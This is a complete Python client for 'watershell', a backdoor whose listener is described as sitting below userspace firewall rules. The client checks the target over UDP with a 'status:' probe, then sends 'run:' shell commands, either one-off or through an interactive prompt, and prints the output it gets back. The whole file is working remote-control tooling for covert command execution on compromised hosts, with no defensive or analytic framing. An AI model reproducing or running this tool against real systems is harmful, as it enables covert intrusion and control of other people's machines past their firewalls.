#!/usr/bin/env python3

"""
Watershell client; a script to easily send commands over UDP to a host running
the watershell listening binary. The watershell will be listening for UDP data
on a lower level of the network stack to bypass userspace firewall rules.
"""

import argparse
import socket
import time
import sys

def recv_timeout(the_socket, timeout=4):
    """
    Attempt to listen for data until the specified timeout is reached.

    Returns:
        str - Data received over socket
    """
    # make socket non blocking
    the_socket.setblocking(0)

    # total data partwise in an array
    total_data = []
    data = ''

    # beginning time
    begin = time.time()
    while True:
        # if you got some data, then break after timeout
        if total_data and time.time()-begin > timeout:
            break

        # if weve waited longer than the timeout, break
        elif time.time()-begin > timeout:
            break

        # recv something
        try:
            data = the_socket.recv(8192)
            if data:
                total_data.append(data.decode())
                # change the beginning time for measurement
                begin = time.time()
            else:
                # sleep for sometime to indicate a gap
                time.sleep(0.1)
        except BaseException as exc:
            pass

    # join all parts to make final string
    return ''.join(total_data)

def declare_args():
    """
    Function to declare arguments that are acceptable to watershel-cli.py
    """
    parser = argparse.ArgumentParser(
        description="Watershell client to send command to host with watershell listening over UDP.")
    parser.add_argument(
        '-t', '--target',
        dest='target',
        type=str,
        required=True,
        help="IP of the target to send UDP message to.")

    parser.add_argument(
        '-p', '--port',
        dest='port',
        type=int,
        default=52,
        help="Port to send UDP message to.")
    parser.add_argument(
        '-c', '--command',
        dest='command',
        type=str,
        help="One off command to send to listening watershell target")
    parser.add_argument(
        '-i', '--interactive',
        dest='interactive',
        action='store_true',
        default=False,
        help="Interactively send commands to watershell target")

    return parser

def execute_cmd_prompt(sock, target):
    """
    Interactively prompt user for commands and execute them
    """
    while True:
        cmd = input("//\\\\watershell//\\\\>> ")
        if cmd == 'exit':
            break
        if len(cmd) > 1:
            sock.sendto(("run:"+cmd).encode(), target)
            resp = recv_timeout(sock, 4)
            print(resp)

def main():
    """
    Entry point to watershell-cli.py. Parse arguments supplied by user,
    grab the status of the watershell target and then issue commands.
    """
    args = declare_args().parse_args()

    # Bind source port to send UDP message from
    s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s_socket.bind(("0.0.0.0", 53316))

    target = (args.target, args.port)
    print("Connecting to Watershell on {}...".format(target))
    s_socket.sendto(b'status:', target)

    resp = recv_timeout(s_socket, 2)
    if resp == "up":
        print("Connected!")
    else:
        print("Connection Failed...")
        sys.exit(1)

    if args.interactive:
        execute_cmd_prompt(s_socket, target)
    else:
        s_socket.sendto(("run:{}".format(args.command)).encode(), target)
        resp = recv_timeout(s_socket, 4)
        print(resp)

if __name__ == '__main__':
    main()